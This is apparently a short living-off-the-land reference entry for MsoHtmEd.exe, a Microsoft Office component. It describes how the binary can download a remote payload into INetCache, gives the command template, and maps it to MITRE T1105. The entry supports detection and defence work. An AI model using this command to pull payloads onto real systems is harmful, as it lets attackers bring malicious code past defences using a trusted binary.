MsoHtmEd.exe

Microsoft Office component

Download

It will download a remote payload and place it in INetCache.

MsoHtmEd.exe {REMOTEURL}

Downloads payload from remote server — MITRE: T1105 — Privileges: User